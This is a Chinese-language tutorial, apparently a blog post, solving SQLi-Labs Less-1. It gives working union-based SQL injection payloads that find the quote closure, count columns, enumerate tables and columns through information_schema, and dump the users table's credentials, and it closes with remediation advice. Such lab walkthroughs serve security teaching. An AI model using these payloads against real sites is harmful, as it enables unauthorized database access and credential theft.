SQLi-Labs Less-1 通关教程

SQLi-Labs Less-1 通关教程

一、关卡核心信息

  • 漏洞类型:GET型单引号字符型SQL注入
  • 核心场景 :通过URL参数传递的id值未做过滤,可构造恶意SQL语句获取数据库信息
  • 前置条件:已搭建SQLi-Labs靶场(PHP+MySQL环境,如phpStudy、XAMPP)
  • 工具准备:浏览器(Chrome/Firefox)、Burp Suite(可选,抓包辅助)

二、通关步骤

步骤1:判断注入类型与闭合方式

  1. 访问Less-1关卡地址:http://[靶场IP]/sqli-labs/Less-1/?id=1
    • 正常回显:页面显示Your Login name:DumbYour Password:Dumb,说明id=1的查询结果正常返回。
  2. 构造测试语句,判断闭合方式:
    • 输入:http://[靶场IP]/sqli-labs/Less-1/?id=1'
    • 回显结果:出现MySQL语法错误You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
    • 关键分析:错误提示中出现'1'',说明传入的1'被拼接成了WHERE id='1''单引号未被过滤,且原SQL语句用单引号包裹参数 ,确认是单引号字符型注入
  3. 验证闭合有效性:
    • 输入:http://[靶场IP]/sqli-labs/Less-1/?id=1'--+
    • 说明:--+是SQL注释符(+在URL中等效于空格),作用是注释掉后面的多余单引号,使SQL语句恢复正常。
    • 回显结果:页面恢复正常显示,验证闭合方式正确。

步骤2:查询数据库基本信息(联合查询注入)

核心原理:利用UNION SELECT联合查询,拼接恶意SQL语句,读取数据库隐藏信息。

  1. 确定查询字段数(判断原SQL语句SELECT后的字段数量):
    • 输入:http://[靶场IP]/sqli-labs/Less-1/?id=1' order by 3 --+
      • 回显正常:说明原查询有3个字段。
    • 若输入order by 4,会报错,进一步验证字段数为3。
  2. 构造联合查询,查看回显位置:
    • 输入:http://[靶场IP]/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+
      • 说明:将id改为-1,让原查询无结果,强制显示联合查询的内容;1,2,3为占位符,测试哪些位置会在页面回显。
      • 回显结果:页面显示23,说明第2、3字段是可回显的位置,后续可替换为查询语句。

步骤3:获取数据库核心信息

(1)查询当前数据库名
  • 输入Payload:

    复制代码
    http://[靶场IP]/sqli-labs/Less-1/?id=-1' union select 1,database(),user() --+
  • 回显结果:database()会显示当前数据库名(默认是security),user()显示数据库连接用户(如root@localhost)。

(2)查询数据库中的表名
  • 输入Payload:

    复制代码
    http://[靶场IP]/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
  • 关键说明:

    • information_schema.tables:MySQL系统表,存储所有数据库的表信息;
    • table_schema='security':限定查询security数据库下的表;
    • group_concat():将多个表名拼接成一行显示,避免分页。
  • 回显结果:可看到security数据库下的表(如usersemailsuagents等),核心目标表为users(存储账号密码)。

(3)查询users表的字段名
  • 输入Payload:

    复制代码
    http://[靶场IP]/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
  • 回显结果:显示users表的字段(如idusernamepassword)。

(4)查询users表中的账号密码
  • 输入Payload:

    复制代码
    http://[靶场IP]/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username,':',password),3 from security.users --+
  • 回显结果:显示所有用户的账号密码(如Dumb:Dumbadmin:admintest:test等),完成核心数据窃取。

步骤4:通关验证与总结

  • 核心成果:通过构造合法的SQL注入语句,从无权限状态获取到数据库名、表名、字段名、用户凭证等敏感信息;
  • 漏洞本质:后端代码未对用户输入的id参数做过滤/转义,直接拼接进SQL语句执行,导致注入漏洞;
  • 修复建议:
    1. 对用户输入进行严格过滤(如过滤单引号、注释符等);
    2. 使用预编译语句(Prepared Statement),避免SQL语句拼接;
    3. 限制数据库账号的查询权限,禁止前端账号访问information_schema系统表。

三、关键知识点梳理

  1. 字符型注入与数字型注入的区别
    • 字符型:参数被单/双引号包裹,需先闭合引号再构造语句;
    • 数字型:参数无引号包裹,可直接拼接union select
  2. URL编码注意事项
    • 空格在URL中可替换为+%20
    • 特殊字符(如&=)需编码,避免截断参数。
  3. 注释符的使用
    • --+#(URL中需写为%23)均可注释后续SQL语句,优先用--+适配更多场景。

四、实操截图标注建议(图文并茂适配)

  1. 截图1:正常访问id=1的页面,标注"正常回显状态";
  2. 截图2:输入id=1'的报错页面,标注"单引号触发语法错误,确认字符型注入";
  3. 截图3:联合查询显示数据库名的页面,标注"核心Payload与回显结果";
  4. 截图4:获取users表账号密码的最终页面,标注"敏感数据泄露成果"。

总结

Less-1作为SQLi-Labs的入门关卡,核心考察单引号字符型联合查询注入 的基础逻辑。通关关键在于:先判断注入类型与闭合方式,再通过order by确定字段数,最后利用union select逐层查询数据库、表、字段、数据。掌握该关卡的思路后,可快速迁移到其他字符型注入场景,是SQL注入入门的核心基础。

相关推荐
南湖北漠26 分钟前
避免电子设备的电磁波干扰和电磁波互相干扰对我们生活的危害
网络·人工智能·计算机网络·其他·安全·生活
科技峰行者32 分钟前
解析OpenClaw安全挑战及应对策略 构筑AI Agent安全新边界
网络·人工智能·科技·安全·aws·亚马逊·亚马逊云科技
heimeiyingwang1 小时前
【架构实战】容器安全最佳实践
安全·架构
鱼大大博客2 小时前
如何为网站选择合适的服务器?
网络·web安全·ddos
一名优秀的码农2 小时前
vulhub系列-80-Venom: 1(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
Mr.敦的私房菜3 小时前
Spring AI 企业增强版(含安全版与合规版
人工智能·安全·spring
Chuer_3 小时前
AI For BI是什么?一文拆解AI For BI应用落地!
大数据·数据库·人工智能·安全·数据分析·甘特图
安当加密3 小时前
指纹一按,安全上线:指纹登录如何为生产线 Windows 电脑实现低成本防勒索?
windows·安全·电脑
数字供应链安全产品选型3 小时前
2026 年 5 月前瞻:智能体安全合规新要求,悬镜灵境 AIDR 护航 Hermes Agent 合规落地
安全